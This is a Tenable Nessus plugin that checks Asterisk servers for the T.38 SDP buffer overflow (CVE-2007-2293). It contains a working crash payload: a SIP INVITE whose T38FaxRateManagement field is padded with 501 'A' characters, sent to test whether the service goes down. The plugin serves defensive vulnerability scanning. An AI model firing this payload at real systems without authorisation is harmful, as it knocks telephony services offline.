| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(25671);
script_version("1.26");
script_cvs_date("Date: 2019/03/06 18:38:55");
script_cve_id("CVE-2007-2293");
script_bugtraq_id(23648);
script_name(english:"Asterisk SIP Channel T.38 SDP Parsing Multiple Buffer Overflows");
script_summary(english:"Sends a special packet to Asterisk's SIP/SDP handler");
script_set_attribute(attribute:"synopsis", value:
"A telephony application running on the remote host is affected by
multiple buffer overflow vulnerabilities.");
script_set_attribute(attribute:"description", value:
"The version of Asterisk running on the remote host contains two
stack-based buffer overflows in its SIP SDP handler when attempting to
read the 'T38FaxRateManagement:' and 'T38FaxUdpEC:' options in the SDP
within a SIP packet. An unauthenticated, remote attacker may be able
to leverage this flaw to execute code on the affected host subject to
the privileges under which Asterisk runs.");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/472804/30/0/threaded");
script_set_attribute(attribute:"see_also", value:"http://downloads.asterisk.org/pub/security/ASA-2007-010.html");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2007/Apr/652");
script_set_attribute(attribute:"solution", value:
"Either disable T.38 support or upgrade to Asterisk 1.4.3 / AsteriskNow
Beta 6 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2007/04/25");
script_set_attribute(attribute:"plugin_publication_date", value:"2007/07/06");
script_set_attribute(attribute:"patch_publication_date", value:"2007/04/24");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:digium:asterisk");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"Gain a shell remotely");
script_copyright(english:"This script is Copyright (C) 2007-2019 Tenable Network Security, Inc.");
script_dependencies("asterisk_detection.nasl");
script_require_ports("Services/udp/sip", "Services/sip");
script_require_keys("asterisk/sip_detected", "Settings/ParanoidReport");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
get_kb_item_or_exit("asterisk/sip_detected");
asterisk_kbs = get_kb_list("sip/asterisk/*/version");
if (isnull(asterisk_kbs)) exit(1, "Could not obtain any version information from listening Asterisk SIP server(s).");
is_vuln = FALSE;
not_vuln_installs = make_list();
errors = make_list();
foreach kb_name (keys(asterisk_kbs))
{
item = eregmatch(pattern:"/(udp|tcp)/([0-9]+)/version", string:kb_name);
if (isnull(item))
{
errors = make_list(errors, "Unexpected error parsing port number from kb name: "+kb_name);
continue;
}
proto = item[1];
port = item[2];
version = asterisk_kbs[kb_name];
if (version == 'unknown')
errors = make_list(errors, "Unable to obtain version of install on " + proto + "/" + port);
if (proto == 'udp')
{
if (!get_udp_port_state(port))
{
errors = make_list(errors, proto + " port " + port + " is not open");
continue;
}
if (islocalhost())
soc = open_sock_udp(port);
else soc = open_priv_sock_udp(sport:5060, dport:port);
}
else
{
if (!get_tcp_port_state(port))
{
errors = make_list(errors, proto + " port " + port + " is not open");
continue;
}
soc = open_sock_tcp(port);
}
if (!soc)
{
errors = make_list(errors, "Failed to open a " + proto + " socket on port " + port);
continue;
}
via_protocol = proto;
encaps = get_port_transport(port);
if (!isnull(encaps) && proto == 'tcp')
{
if (encaps && encaps > ENCAPS_IP)
via_protocol = 'tls';
}
probe =
"OPTIONS sip:" + get_host_name() + " SIP/2.0" + '\r\n' +
"Via: SIP/2.0/" + toupper(via_protocol) + " " + compat::this_host() + ":" + port + '\r\n' +
'Max-Forwards: 70\r\n' +
"To: <sip:" + compat::this_host() + ":" + port + '>\r\n' +
"From: Nessus <sip:" + compat::this_host() + ":" + port + '>;tag=' + rand() + '\r\n' +
"Call-ID: " + rand() + '\r\n' +
'CSeq: 63104 OPTIONS\r\n' +
"Contact: <sip:" + compat::this_host() + '>\r\n' +
'Accept: application/sdp\r\n' +
'Content-Length: 0\r\n' +
'\r\n';
send(socket:soc, data:probe);
res = recv(socket:soc, length:1024);
if (!strlen(res) || isnull(res))
{
close(soc);
errors = make_list(errors, "Received no response or a zero-length response to OPTIONS request on "+proto+" port "+port);
continue;
}
# Try to crash the service.
sploit =
"INVITE sip:200@" + get_host_name() + " SIP/2.0" + '\r\n' +
'Date: Wed, 21 Mar 2007 4:20:09 GMT\r\n' +
'CSeq: 1 INVITE\r\n' +
"Via: SIP/2.0/" + toupper(via_protocol) + " " + compat::this_host() + ":" + port + ';branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport\r\n' +
'User-Agent: NGS/2.0\r\n' +
'From: "' + SCRIPT_NAME + '" <sip:nessus@' + compat::this_host() + ":" + port + '>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672\r\n' +
'Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@nessus\r\n' +
"To: <sip:200@" + get_host_name() + ":" + port + '>\r\n' +
"Contact: <sip:nessus@" + compat::this_host() + ":" + port + ';transport=udp>\r\n' +
'Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE\r\n' +
'Content-Type: application/sdp\r\n' +
'Content-Length: 796\r\n' +
'Max-Forwards: 70\r\n' +
'\r\n' +
'v=0\r\n' +
"o=rtp 1160124458839569000 160124458839569000 IN IP4 " + compat::this_host() + '\r\n' +
's=-\r\n' +
"c=IN IP4 " + get_host_ip() + '\r\n' +
't=0 0\r\n' +
'm=image 5004 UDPTL t38\r\n' +
'a=T38FaxVersion:0\r\n' +
'a=T38MaxBitRate:14400\r\n' +
'a=T38FaxMaxBuffer:1024\r\n' +
'a=T38FaxMaxDatagram:238\r\n' +
"a=T38FaxRateManagement:" + crap(data:"A", length:501) + '\r\n' +
'a=T38FaxUdpEC:t38UDPRedundancy\r\n';
send(socket:soc, data:sploit);
res = recv(socket:soc, length:1024);
if (!strlen(res) || isnull(res))
{
# There's a problem if the service is down now.
# nb: if asterisk was started via safe_asterisk, this check will fail
# since safe_asterisk will just respawn asterisk.
send(socket:soc, data:probe);
res = recv(socket:soc, length:1024);
close(soc);
if (!strlen(res) || isnull(res))
{
security_hole(port:port, proto:proto);
is_vuln = TRUE;
}
}
else not_vuln_installs = make_list(not_vuln_installs, version + " on port " + proto + "/" + port);
close(soc);
}
if (max_index(errors))
{
if (max_index(errors) == 1) errmsg = errors[0];
else errmsg = 'Errors were encountered verifying installs : \n ' + join(errors, sep:'\n ');
exit(1, errmsg);
}
else
{
installs = max_index(not_vuln_installs);
if (installs == 0)
{
if (is_vuln)
exit(0);
else
audit(AUDIT_NOT_INST, "Asterisk");
}
else if (installs == 1) audit(AUDIT_INST_VER_NOT_VULN, "Asterisk " + not_vuln_installs[0]);
else exit(0, "The Asterisk installs (" + join(not_vuln_installs, sep:", ") + ") are not affected.");
}
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